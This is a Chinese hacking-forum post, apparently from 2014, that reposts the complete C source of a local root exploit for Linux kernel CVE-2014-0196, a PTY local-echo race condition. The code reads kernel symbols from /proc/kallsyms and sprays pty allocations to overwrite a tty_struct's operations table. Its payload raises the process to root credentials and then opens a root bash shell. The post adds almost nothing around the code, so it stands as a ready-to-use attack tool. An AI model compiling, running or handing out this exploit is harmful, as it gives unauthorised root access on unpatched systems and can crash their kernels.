搜索
查看: 219|回复: 0

Linux kernel 3.14-rc1 <= 3.15-rc4提权

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-6-5 21:45:14 | 显示全部楼层 |阅读模式
  1. /*
  2. * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
  3. * condition
  4. *
  5. * Slightly-less-than-POC privilege escalation exploit
  6. * For kernels >= v3.14-rc1
  7. *
  8. * Matthew Daley <mattd@bugfuzz.com>
  9. *
  10. * Usage:
  11. *   $ gcc cve-2014-0196-md.c -lutil -lpthread
  12. *   $ ./a.out
  13. *   [+] Resolving symbols
  14. *   [+] Resolved commit_creds: 0xffffffff81056694
  15. *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
  16. *   [+] Doing once-off allocations
  17. *   [+] Attempting to overflow into a tty_struct...............
  18. *   [+] Got it :)
  19. * # id
  20. *   uid=0(root) gid=0(root) groups=0(root)
  21. *
  22. * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
  23. * chance that the overflow will go off the end of a slab. This does not
  24. * necessarily lead to an immediate kernel crash, but you should be prepared
  25. * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
  26. * avoidable by reading /proc/slabinfo on systems where it is still available
  27. * to unprivileged users.
  28. *
  29. * Caveat: The vulnerability should be exploitable all the way from
  30. * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
  31. * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
  32. * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
  33. * exploit relies on.
  34. *
  35. * Thanks to Jon Oberheide for his help on exploitation technique.
  36. */
  37. #include <sys/stat.h>
  38. #include <sys/types.h>
  39. #include <fcntl.h>
  40. #include <pthread.h>
  41. #include <pty.h>
  42. #include <stdio.h>
  43. #include <string.h>
  44. #include <termios.h>
  45. #include <unistd.h>
  46. #define TTY_MAGIC 0x5401
  47. #define ONEOFF_ALLOCS 200
  48. #define RUN_ALLOCS    30
  49. struct device;
  50. struct tty_driver;
  51. struct tty_operations;
  52. typedef struct {
  53.     int counter;
  54. } atomic_t;
  55. struct kref {
  56.     atomic_t refcount;
  57. };
  58. struct tty_struct_header {
  59.     int magic;
  60.     struct kref kref;
  61.     struct device *dev;
  62.     struct tty_driver *driver;
  63.     const struct tty_operations *ops;
  64. } overwrite;
  65. typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
  66. typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);
  67. int master_fd, slave_fd;
  68. char buf[1024] = {0};
  69. commit_creds_fn commit_creds;
  70. prepare_kernel_cred_fn prepare_kernel_cred;
  71. int payload(void) {
  72.     commit_creds(prepare_kernel_cred(0));
  73.     return 0;
  74. }
  75. unsigned long get_symbol(char *target_name) {
  76.     FILE *f;
  77.     unsigned long addr;
  78.     char dummy;
  79.     char name[256];
  80.     int ret = 0;
  81.     f = fopen("/proc/kallsyms", "r");
  82.     if (f == NULL)
  83.       return 0;
  84.     while (ret != EOF) {
  85.       ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
  86.       if (ret == 0) {
  87.       fscanf(f, "%s\n", name);
  88.       continue;
  89.       }
  90.       if (!strcmp(name, target_name)) {
  91.       printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
  92.       fclose(f);
  93.       return addr;
  94.       }
  95.     }
  96.     printf("[-] Couldn't resolve "%s"\n", name);
  97.     fclose(f);
  98.     return 0;
  99. }
  100. void *overwrite_thread_fn(void *p) {
  101.     write(slave_fd, buf, 511);
  102.     write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
  103.     write(slave_fd, &overwrite, sizeof(overwrite));
  104. }
  105. int main() {
  106.     char scratch[1024] = {0};
  107.     void *tty_operations[64];
  108.     int i, temp_fd_1, temp_fd_2;
  109.     for (i = 0; i < 64; ++i)
  110.       tty_operations[i] = payload;
  111.     overwrite.magic                 = TTY_MAGIC;
  112.     overwrite.kref.refcount.counter = 0x1337;
  113.     overwrite.dev                   = (struct device *)scratch;
  114.     overwrite.driver                = (struct tty_driver *)scratch;
  115.     overwrite.ops                   = (struct tty_operations *)tty_operations;
  116.     puts("[+] Resolving symbols");
  117.     commit_creds = (commit_creds_fn)get_symbol("commit_creds");
  118.     prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
  119.     if (!commit_creds || !prepare_kernel_cred)
  120.       return 1;
  121.     puts("[+] Doing once-off allocations");
  122.     for (i = 0; i < ONEOFF_ALLOCS; ++i)
  123.       if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
  124.       puts("[-] pty creation failed");
  125.       return 1;
  126.       }
  127.     printf("[+] Attempting to overflow into a tty_struct...");
  128.     fflush(stdout);
  129.     for (i = 0; ; ++i) {
  130.       struct termios t;
  131.       int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
  132.       pthread_t overwrite_thread;
  133.       if (!(i & 0xfff)) {
  134.       putchar('.');
  135.       fflush(stdout);
  136.       }
  137.       if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
  138.       puts("\n[-] pty creation failed");
  139.       return 1;
  140.       }
  141.       for (j = 0; j < RUN_ALLOCS; ++j)
  142.       if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
  143.       puts("\n[-] pty creation failed");
  144.       return 1;
  145.       }
  146.       close(fds[RUN_ALLOCS / 2]);
  147.       close(fds2[RUN_ALLOCS / 2]);
  148.       write(slave_fd, buf, 1);
  149.       tcgetattr(master_fd, &t);
  150.       t.c_oflag &= ~OPOST;
  151.       t.c_lflag |= ECHO;
  152.       tcsetattr(master_fd, TCSANOW, &t);
  153.       if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
  154.       puts("\n[-] Overwrite thread creation failed");
  155.       return 1;
  156.       }
  157.       write(master_fd, "A", 1);
  158.       pthread_join(overwrite_thread, NULL);
  159.       for (j = 0; j < RUN_ALLOCS; ++j) {
  160.       if (j == RUN_ALLOCS / 2)
  161.       continue;
  162.       ioctl(fds[j], 0xdeadbeef);
  163.       ioctl(fds2[j], 0xdeadbeef);
  164.       close(fds[j]);
  165.       close(fds2[j]);
  166.       }
  167.       ioctl(master_fd, 0xdeadbeef);
  168.       ioctl(slave_fd, 0xdeadbeef);
  169.       close(master_fd);
  170.       close(slave_fd);
  171.       if (!setresuid(0, 0, 0)) {
  172.       setresgid(0, 0, 0);
  173.       puts("\n[+] Got it :)");
  174.       execl("/bin/bash", "/bin/bash", NULL);
  175.       }
  176.     }
  177. }
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表